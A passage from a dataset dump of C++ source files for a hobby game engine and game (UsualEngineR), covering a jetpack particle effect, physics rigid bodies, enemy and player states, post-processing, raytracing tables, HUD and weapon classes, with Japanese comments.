"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"JetPack.h\"\n#include \"../../Enemy/EnemyManager.h\"\n#include \"../../Effect/JetEffect.h\"\n#include \"GameManager.h\"\n#include \"GameSceneMenu.h\"\n\nJetPack::JetPack()\n{\n\n}\n\nJetPack::~JetPack()\n{\n\n}\n\n\n\nvoid JetPack::Release()\n{\n\tDeleteGO(m_model);\n\n\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\tDeleteGO(m_jetEffects.at(i));\n\t}\n}\n\nvoid JetPack::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid JetPack::Awake()\n{\n\n}\n\nbool JetPack::Start()\n{\n\n\tModelInitData mid;\n\tm_model = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/m/Backpack/Backpack.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/Backpack/Backpack.tks\";\n\t//mid.m_upAxis = enUpAxisZ;\n\tm_model->Init(mid);\n\n\t/*\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_extendDataSize = sizeof(float);\n\tpid.m_isBillboard = true;\n\t//pid.m_isBillboard = false;\n\t//pid.m_isDepthTest = false;\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\tstatic float time = 0;\n\t\tauto pThrust = EnemyManager::GetEnemyManager().GetPlayer()->IsUsingThrusters();\n\n\t\tif (pThrust)\n\t\t{\n\t\t\t//Matrix m = g_matIdentity;\n\t\t\t//pThis->AddParticle(m, { 1,1,1,1 }, 10);\n\t\t\tfor (int _i = 0; _i < 100; _i++)\n\t\t\t{\n\t\t\t\tfloat i = GRandom().Rand();\n\t\t\t\tauto posDif = Vector3::Zero;\n\t\t\t\tposDif.y += 1000.f * i;\n\t\t\t\tpThis->AddParticle(posDif, g_vec3One * 20, g_quatIdentity, { 3,2.f,0.3,1 }, 0.5, &i, true);\n\t\t\t}\n\t\t\ttime = 0;\n\t\t}\n\t\ttime += deltaTime;\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t{\n\t\tauto s = *(float*)extendData;\n\t\tdata.particleData.pos.y += 500.f * deltaTime;\n\n\t\tfloat n = GPerlinNoise2D().GenerateNoise({ s * 10, data.particleData.pos.y / 10.f });\n\t\tfloat m = GPerlinNoise2D().GenerateNoise({ data.particleData.pos.y / 10.f, s * 10 });\n\t\tdata.particleData.pos.x = n * 500.f * deltaTime;\n\t\tdata.particleData.pos.z = m * 500.f * deltaTime;\n\t\tdata.particleData.sca = g_vec3One * min((data.lifeTime / 10.f) + 0.1f, 1.f) * 20;\n\n\t\tVector3 col;\n\t\tcol.Lerp(data.lifeTime / 10.f, { 3,0.1f,0.0 }, { 3,1.5f,0.3 });\n\t\tdata.particleData.mulColor.Set(col);\n\t\tdata.particleData.mulColor.a = data.lifeTime / 10.f;\n\n\t});\n\n\n\tpid.m_updater = &m_effctUpdater;\n\n\tauto effect = NewGO<PlaneParticleEffectRender>(0);\n\teffect->Init(pid);\n\teffect->SetPos({ 0,0,50 });\n\teffect->SetSca(g_vec3One * 0.02);\n\t*/\n\n\tJetEffect::JetEffectInitParam jeip;\n\tjeip.effectScale = 0.01f;\n\tjeip.effectScale_inv = 100.f;\n\tjeip.particleScale = 5.f;\n\tjeip.particleLifeTime = 0.5f;\n\tjeip.particleYUp = 400.f;\n\n\tconst int numEffect = 6;\n\tfor (int i = 0; i < numEffect; i++) {\n\t\tauto ef = NewGO<JetEffect>(0);\n\t\tef->Init(jeip);\n\t\tm_jetEffects.push_back(ef);\n\t}\n\n\tm_backpackBone[0] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Pack.001\"));\n\tm_backpackBone[5] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Pack.002\"));\n\tm_backpackBone[1] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_L.001\"));\n\tm_backpackBone[2] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_L.002\"));\n\tm_backpackBone[3] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_R.001\"));\n\tm_backpackBone[4] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_R.002\"));\n\n\treturn true;\n}\n\n\nvoid JetPack::PreUpdate()\n{\n\n}\n\nvoid JetPack::Update()\n{\n\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\tm_model->SetScale(m_scale);\n\n\tif (!m_isUsed) {\n\t\tm_model->SetActive(false);\n\t\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\t\tm_jetEffects[i]->SetGenerateFlag(false);\n\t\t}\n\t}\n\telse {\n\t\tm_model->SetActive(true);\n\t\tif (GameManager::GetInstance().m_menu != nullptr) {\n\t\t\tif (!GameManager::GetInstance().m_menu->IsGamePaused()) {\n\t\t\t\tm_activeTimer += gameTime()->GetDeltaTime();\n\t\t\t}\n\t\t}\n\t}\n\n}\n\nvoid JetPack::PostUpdate()\n{\n\n\tif (!m_isUsed) return;\n\n\tif (!m_isUsingThrusters) {\n\t\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\t\tm_jetEffects[i]->SetGenerateFlag(false);\n\t\t}\n\t\treturn;\n\t}\n\n\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\tm_jetEffects[i]->SetGenerateFlag(true);\n\t\tconst auto& mat = m_backpackBone[i]->GetWorldMatrix();\n\t\tm_jetEffects[i]->SetPosition(mat.GetTransrate());\n\t\tm_jetEffects[i]->SetRotation(mat.GetRotate());\n\t}\n\n}\n\n\nvoid JetPack::Render()\n{\n\n}\n\nvoid JetPack::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.629294753074646,
"alphanum_fraction": 0.6401446461677551,
"avg_line_length": 14.828571319580078,
"blob_id": "e221a79a11a036ee4438779f3cdc6fac665e7fb9",
"content_id": "a88d742ee9bd8c0db23a81f22661fff907a974da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 631,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 35,
"path": "/UsualEngineR/Physics/RigidBody.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\n\nnamespace UER\n{\n\tclass ICollider;\n\t//剛体情報。\n\tstruct RigidBodyInfo {\n\n\t\tVector3 pos = g_vec3Zero;\t\t\t//座標。\n\t\tQuaternion rot = g_quatIdentity;\t//回転。\n\t\tVector3 sca = g_vec3One;\t\t\t\t\n\t\tICollider* collider = nullptr;\t\t\t\t//コライダー。\n\t\tfloat mass = 0.0f;\t\t\t\t\t\t\t//質量。\n\n\t};\n\t//剛体クラス。\n\tclass RigidBody\n\t{\n\t\tbtRigidBody* rigidBody = nullptr;\t\t//剛体。\n\t\tbtDefaultMotionState* myMotionState = nullptr;\t//モーションステート。\n\tpublic:\n\n\t\t~RigidBody();\n\t\tvoid Release();\n\t\tvoid Create(RigidBodyInfo& rbInfo);\n\t\tbtRigidBody* GetBody()\n\t\t{\n\t\t\treturn rigidBody;\n\t\t}\n\t};\n\n}"
},
{
"alpha_fraction": 0.7509434223175049,
"alphanum_fraction": 0.7509434223175049,
"avg_line_length": 21,
"blob_id": "b260309b953eb18f727bbb11b0b9147051359ac4",
"content_id": "9af03cb7066aae0c5f2cdf0571d0001b2598cf1f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 265,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 12,
"path": "/Game/Enemy/State/EnemyDeadState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyDeadState : public IEnemyState\n{\npublic:\n\tEnemyDeadState();\n\t~EnemyDeadState();\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\n};\n\n"
},
{
"alpha_fraction": 0.6182829141616821,
"alphanum_fraction": 0.6689314246177673,
"avg_line_length": 21.81690216064453,
"blob_id": "d6d5fdee2f7e0d05277eaea3b307d5dd68f4b851",
"content_id": "bafcc48912aa5efc8f907d2a14bd0f831f8aeca3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1647,
"license_type": "no_license",
"max_line_length": 128,
"num_lines": 71,
"path": "/UsualEngineR/Graphics/PostEffect/PostEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"PostEffect.h\"\n\n\n\nnamespace UER\n{\n\tnamespace {\n\t\tstruct SSimpleVertex {\n\t\t\tVector4 pos;\n\t\t\tVector2 tex;\n\t\t};\n\t}\n\tvoid PostEffect::Release()\n\t{\n\t}\n\tvoid PostEffect::Init()\n\t{\n\t\t//四角形プリミティブを初期化。\n\t\tSSimpleVertex vertices[] =\n\t\t{\n\t\t\t{\n\t\t\t\tVector4(-1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(-1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 0.0f)\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 0.0f)\n\t\t\t}\n\n\t\t};\n\t\tshort indices[] = { 0,1,2,3 };\n\t\tm_primitive.Cteate(D3D_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP, 4, sizeof(SSimpleVertex), vertices, 4, Primitive::it_2byte, indices);\n\n\t\tm_backBufferTexture[0].InitFromD3DResource(g_graphicsEngine->GetBuckBufferResource(0));\n\t\tm_backBufferTexture[1].InitFromD3DResource(g_graphicsEngine->GetBuckBufferResource(1));\n\n\t\t\n\t\tauto device = g_graphicsEngine->GetD3DDevice();\n\t\tauto comAllo = g_graphicsEngine->GetCommandAllocator();\n\t\t\n\t\t/*ID3D12GraphicsCommandList4* comList;\n\t\tdevice->CreateCommandList(\n\t\t\t0, D3D12_COMMAND_LIST_TYPE_DIRECT, comAllo, nullptr, IID_PPV_ARGS(&comList)\n\t\t);\n\t\tm_rc4Bloom.Init(comList);*/\n\n\t\tm_bloom.Init(this);\n\t\tm_focusBlur.Init();\n\t}\n\tvoid PostEffect::Render()\n\t{\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tif(m_isUseFocusBlur)\n\t\t\tm_focusBlur.Render(rc,m_primitive);\n\t\tm_bloom.Render(rc);\n\t\tm_bloom.CombineRender(rc, g_graphicsEngine->GetCurrentRenderTarget());\n\t}\n\tTexture* PostEffect::GetCurrentBackBufferTexture()\n\t{\n\t\treturn &m_backBufferTexture[g_graphicsEngine->GetBackBufferIndex()];\n\t}\n}"
},
{
"alpha_fraction": 0.6424442529678345,
"alphanum_fraction": 0.6614368557929993,
"avg_line_length": 18.868852615356445,
"blob_id": "22f14013ec81d21aab0eade77967866fecae1865",
"content_id": "4305b3d5f63e2ccbcb2bedb9bf865d68ffbea88e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1401,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 61,
"path": "/UsualEngineR/Graphics/Raytracing/RaytracingShaderTable.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"RaytracingDescriptorHeaps.h\"\n\nnamespace UER\n{\n\t\n\tnamespace raytracing {\n\t\tusing ID3D12ResourcePtr = CComPtr<ID3D12Resource>;\n\t\t//\n\t\tclass World;\n\t\tclass PSO;\n\t\t/// <summary>\n\t\t/// シェーダーテーブル\n\t\t/// </summary>\n\t\t/// <remark>\n\t\t/// シェーダーテーブルはレイのディスパッチで使用される、シェーダーやリソースのディスクリプタヒープのアドレスなどのテーブルです。\n\t\t/// </remark>\n\t\tclass ShaderTable {\n\t\tpublic:\n\t\t\t/// <summary>\n\t\t\t/// シェーダーテーブルを初期化。\n\t\t\t/// </summary>\n\t\t\tvoid Init(\n\t\t\t\tconst World& world,\n\t\t\t\tconst PSO& pso,\n\t\t\t\tconst DescriptorHeaps& descriptorHeaps\n\t\t\t);\n\t\t\tID3D12ResourcePtr Get() const\n\t\t\t{\n\t\t\t\treturn m_shaderTable;\n\t\t\t}\n\t\t\tD3D12_GPU_VIRTUAL_ADDRESS GetGPUVirtualAddress() const\n\t\t\t{\n\t\t\t\treturn m_shaderTable->GetGPUVirtualAddress();\n\t\t\t}\n\t\t\tuint32_t GetShaderTableEntrySize() const\n\t\t\t{\n\t\t\t\treturn m_shaderTableEntrySize;\n\t\t\t}\n\t\t\tint GetNumRayGenShader() const\n\t\t\t{\n\t\t\t\treturn m_numRayGenShader;\n\t\t\t}\n\t\t\tint GetNumMissShader() const\n\t\t\t{\n\t\t\t\treturn m_numMissShader;\n\t\t\t}\n\t\t\tint GetNumHitShader() const\n\t\t\t{\n\t\t\t\treturn m_numHitShader;\n\t\t\t}\n\t\tprivate:\n\t\t\tID3D12ResourcePtr m_shaderTable;\t\t\t//シェーダーテーブル。\n\t\t\tuint32_t m_shaderTableEntrySize = 0;\n\t\t\tint m_numRayGenShader = 0;\n\t\t\tint m_numMissShader = 0;\n\t\t\tint m_numHitShader = 0;\n\t\t};\n\t}\n}"
},
{
"alpha_fraction": 0.6221033930778503,
"alphanum_fraction": 0.6440879106521606,
"avg_line_length": 17.700000762939453,
"blob_id": "f0882da9ffdece5bc21d732e722e36bb9459650d",
"content_id": "ca95a7502e40848316b13f97749b63e8878048ff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2017,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 90,
"path": "/Game/HUD/KeyHelp.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass KeyHelp :public GameObject\n{\npublic:\n\tKeyHelp();\n\tvirtual ~KeyHelp();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid Init(const Vector3& pos, const std::wstring text);\n\n\tvoid Display();\n\tvoid Undisplay();\n\n\n\tvoid SetPos(const Vector3& pos)\n\t{\n\t\tm_pos = pos;\n\t\tm_keyHelpSp.Update(m_pos + m_spPosOffset, Quaternion::Identity, m_spScale);\n\t}\nprivate:\n\tVector3 m_pos = Vector3::Zero;\n\tconst float m_rot = 0.f;\n\n\tSprite m_keyHelpSp;\n\tconst Vector3 m_spScale = Vector3::One * 0.25;\n\tconst Vector3 m_spPosOffset = Vector3(-100.f, -13.f, 0.f);\n\tconst float m_flSpHeight = 100.f;\n\tconst float m_flSpWidth = 500.f;\n\n\tFont m_keyHelpText;\n\tconst float m_fontScale = 0.2f;\n\tVector4 m_color = Vector4::White;\n\tstd::wstring m_text;\n\tconst Vector2 m_fontPosOffset = Vector2(-150.f, 0.f);\n\n\n\tfloat m_timer = 0.f;\n\tfloat m_dispTime = 0.2f;\n\n\tbool m_isDisp = false;\n};\n"
},
{
"alpha_fraction": 0.6720351576805115,
"alphanum_fraction": 0.7071742415428162,
"avg_line_length": 21.766666412353516,
"blob_id": "c518c9cfd2c79d67a3176c75786192bc85de1ba1",
"content_id": "9b527670d027285711da1c04dd719be026482069",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 683,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 30,
"path": "/Game/Player/State/PlayerStunState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n/// <summary>\n/// \n/// </summary>\nclass PlayerStunState :public IPlayerState\n{\npublic:\n\tPlayerStunState();\n\tvirtual ~PlayerStunState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\tfloat m_timer = 0.f;\n\tconst float m_stunTime = 1.f;\n\n\tconst float m_VELOCITY_MAX = 10.f;\n\t//const float m_GRAVITY = -9.81f;\n\tconst float m_GRAVITY = 500.f;\n\tconst float m_QUICKNESS = 300.f;\n\tconst float m_FIRST_VEL_PARAM = 15.f;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velocityGoal = Vector3::Zero;\n\n\tVector3 m_velFriction = Vector3::Zero;\n\tconst float m_friction = 200.f;\n};\n"
},
{
"alpha_fraction": 0.7537172436714172,
"alphanum_fraction": 0.7642605900764465,
"avg_line_length": 35.62376403808594,
"blob_id": "4cb89beaf5801f4b865235a6e8dafb683755f7c6",
"content_id": "c6e533edbb00b970919322183f8699aa71864e47",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3767,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 101,
"path": "/UsualEngineR/Graphics/RenderContext_inline.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\tinline void RenderContext::SetDescriptorHeap(DescriptorHeap& descHeap)\n\t{\n\t\tm_descriptorHeaps[0] = descHeap.Get();\n\t\tm_commandList->SetDescriptorHeaps(1, m_descriptorHeaps);\n\t\n\t\t//ディスクリプタテーブルに登録する。\n\t\tif (descHeap.IsRegistConstantBuffer()) {\n\t\t\tSetGraphicsRootDescriptorTable(0, descHeap.GetConstantBufferGpuDescritorStartHandle());\n\t\t}\n\t\tif (descHeap.IsRegistShaderResource()) {\n\t\t\tSetGraphicsRootDescriptorTable(1, descHeap.GetShaderResourceGpuDescritorStartHandle());\n\t\t}\n\t\tif (descHeap.IsRegistUavResource()) {\n\t\t\tSetGraphicsRootDescriptorTable(2, descHeap.GetUavResourceGpuDescritorStartHandle());\n\t\t}\n\t}\n\tinline void RenderContext::SetComputeDescriptorHeap(DescriptorHeap& descHeap)\n\t{\n\t\tm_descriptorHeaps[0] = descHeap.Get();\n\t\tm_commandList->SetDescriptorHeaps(1, m_descriptorHeaps);\n\t\n\t\t//ディスクリプタテーブルに登録する。\n\t\tif (descHeap.IsRegistConstantBuffer()) {\n\t\t\tSetComputeRootDescriptorTable(0, descHeap.GetConstantBufferGpuDescritorStartHandle());\n\t\t}\n\t\tif (descHeap.IsRegistShaderResource()) {\n\t\t\tSetComputeRootDescriptorTable(1, descHeap.GetShaderResourceGpuDescritorStartHandle());\n\t\t}\n\t\tif (descHeap.IsRegistUavResource()) {\n\t\t\tSetComputeRootDescriptorTable(2, descHeap.GetUavResourceGpuDescritorStartHandle());\n\t\t}\n\t}\n\tinline void RenderContext::WaitUntilFinishDrawingToRenderTarget(RenderTarget& renderTarget)\n\t{\n\t\tWaitUntilFinishDrawingToRenderTarget(renderTarget.GetRenderTargetTexture().Get());\n\t}\n\tinline void RenderContext::WaitUntilToPossibleSetRenderTarget(RenderTarget& renderTarget)\n\t{\n\t\tWaitUntilToPossibleSetRenderTarget(renderTarget.GetRenderTargetTexture().Get());\n\t}\n\tinline void RenderContext::WaitUntilToPossibleSetRenderTargets(int numRt, RenderTarget* renderTargets[])\n\t{\n\t\tfor (int i = 0; i < numRt; i++) {\n\t\t\tWaitUntilToPossibleSetRenderTarget(*renderTargets[i]);\n\t\t}\n\t}\n\tinline void UER::RenderContext::WaitUntilToPossibleSetRenderTargets(int numRt, RenderTarget renderTargets[])\n\t{\n\t\tfor (int i = 0; i < numRt; i++) {\n\t\t\tWaitUntilToPossibleSetRenderTarget(renderTargets[i]);\n\t\t}\n\t}\n\tinline void RenderContext::WaitUntilFinishDrawingToRenderTargets(int numRt, RenderTarget* renderTargets[])\n\t{\n\t\tfor (int i = 0; i < numRt; i++) {\n\t\t\tWaitUntilFinishDrawingToRenderTarget(*renderTargets[i]);\n\t\t}\n\t}\n\tinline void UER::RenderContext::WaitUntilFinishDrawingToRenderTargets(int numRt, RenderTarget renderTargets[])\n\t{\n\t\tfor (int i = 0; i < numRt; i++) {\n\t\t\tWaitUntilFinishDrawingToRenderTarget(renderTargets[i]);\n\t\t}\n\t}\n\tinline void RenderContext::SetRenderTargets(UINT numRT, RenderTarget* renderTargets[])\n\t{\n\t\t//d\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE rtDSHandleTbl[32];\n\t\tint rtNo = 0;\n\t\tfor( UINT rtNo = 0; rtNo < numRT; rtNo++){\n\t\t\trtDSHandleTbl[rtNo] = renderTargets[rtNo]->GetRTVCpuDescriptorHandle();\n\t\t}\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE dsDS = renderTargets[0]->GetDSVCpuDescriptorHandle();\n\t\tm_commandList->OMSetRenderTargets(numRT, rtDSHandleTbl, FALSE, &dsDS);\n\t\n\t}\n\tinline void UER::RenderContext::SetRenderTargets(UINT numRT, RenderTarget rts[])\n\t{\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE rtDSHandleTbl[32];\n\t\tint rtNo = 0;\n\t\tfor (UINT rtNo = 0; rtNo < numRT; rtNo++) {\n\t\t\trtDSHandleTbl[rtNo] = rts[rtNo].GetRTVCpuDescriptorHandle();\n\t\t}\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE dsDS = rts[0].GetDSVCpuDescriptorHandle();\n\t\tm_commandList->OMSetRenderTargets(numRT, rtDSHandleTbl, FALSE, &dsDS);\n\t}\n\tinline void RenderContext::ClearRenderTargetViews(int numRt, RenderTarget* renderTargets[])\n\t{\n\t\tClearDepthStencilView(renderTargets[0]->GetDSVCpuDescriptorHandle(), renderTargets[0]->GetDSVClearValue());\n\t\tfor (int i = 0; i < numRt; i++) {\n\t\t\tClearRenderTargetView(renderTargets[i]->GetRTVCpuDescriptorHandle(), renderTargets[i]->GetRTVClearColor());\n\t\t}\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.6334661245346069,
"alphanum_fraction": 0.6334661245346069,
"avg_line_length": 10.409090995788574,
"blob_id": "d44834cf35dbcf9816f3625dcf0c3fc9bd1955ea",
"content_id": "1c6f02e7628bbce4c86e40bbe3b89f813464b936",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 285,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 22,
"path": "/UsualEngineR/Physics/CapsuleCollider.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "/*!\n * @brief\tカプセルコライダー。\n */\n\n#include \"PreCompile.h\"\n#include \"Physics/CapsuleCollider.h\"\n\n\nnamespace UER\n{\n\t/*!\n\t\t* @brief\tデストラクタ。\n\t\t*/\n\tCapsuleCollider::~CapsuleCollider()\n\t{\n\t\tRelease();\n\t}\n\tvoid CapsuleCollider::Release()\n\t{\n\t\tdelete shape;\n\t}\n}\n"
},
{
"alpha_fraction": 0.6341463327407837,
"alphanum_fraction": 0.6442205905914307,
"avg_line_length": 15.258620262145996,
"blob_id": "16dd0f0e10ea5f3dc3804d8b823b4b9dcdef9c2d",
"content_id": "01443210ebf602e4473b0f02f968e141254df698",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2220,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 116,
"path": "/Game/Player/Attachment/Gun.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass MuzzleFlash;\n\n/// <summary>\n/// \n/// </summary>\nclass Gun :public GameObject\n{\npublic:\n\tGun();\n\tvirtual ~Gun();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_position = pos;\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rotation = rot;\n\t}\n\n\tvoid SetUsingState(const bool flag) {\n\t\tm_isUsed = flag;\n\t}\n\n\tenum class GunBone {\n\t\tRight,\n\t\tLeft\n\t};\n\n\tBone* const GetGunModelBone(const GunBone& type) {\n\t\treturn m_gunBones[TO_INT(type)];\n\t}\n\n\tvoid PlayFireEffects();\n\n\tconst double GetActivatedTime() {\n\t\treturn m_activeTimer;\n\t}\n\nprivate:\n\n\t//Model\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,15,-20 };\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 0.5f,0.5f,0.5f };\n\n\tbool m_isUsed = true;\n\n\tBone* m_gunBones[6] = { nullptr };\n\n\t//Effect\n\tenum class EnMuzzles {\n\t\tLeft,\n\t\tRight,\n\t\tNumMuzzles\n\t};\n\n\tstruct EffectsTransform {\n\t\tVector3 m_posList[4];\n\t\tQuaternion m_rotList[4];\n\t};\n\n\tEffectsTransform m_effectTransforms;\n\n\tstd::vector<MuzzleFlash*> m_muzzleFlashes;\n\n\t//tiemr\n\tdouble m_activeTimer = 0.f;\n};\n"
},
{
"alpha_fraction": 0.6423487663269043,
"alphanum_fraction": 0.645907461643219,
"avg_line_length": 15.289855003356934,
"blob_id": "c2d66cedc5a940b5907326cf423fc005f5df32df",
"content_id": "bddfa0a090d7e077fe3ba7d530c6018f901cfca0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1344,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 69,
"path": "/Game/Enemy/BossBGM.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n//#include \"GameManager.h\"\n#include \"Enemy/IEnemy.h\"\n\nclass IEnemy;\n\n\n//class CSoundSource;\n/// <summary>\n/// \n/// </summary>\nclass BossBGM :public GameObject\n{\npublic:\n\tBossBGM();\n\tvirtual ~BossBGM();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\n\t\n\t/*\n\tvoid AddBgmCount(int count) {\n\t\tm_bgmCount += count;\n\t\tm_bgmCount = max(0.f, m_bgmCount);\n\t}\n\tint GetBgmCount() {\n\t\treturn m_bgmCount;\n\t}\n\t*/\n\n\tvoid SetInBattleFlag(IEnemy::EnBossType type, const bool flag) {\n\t\tm_inBattleFlagMap[type] = 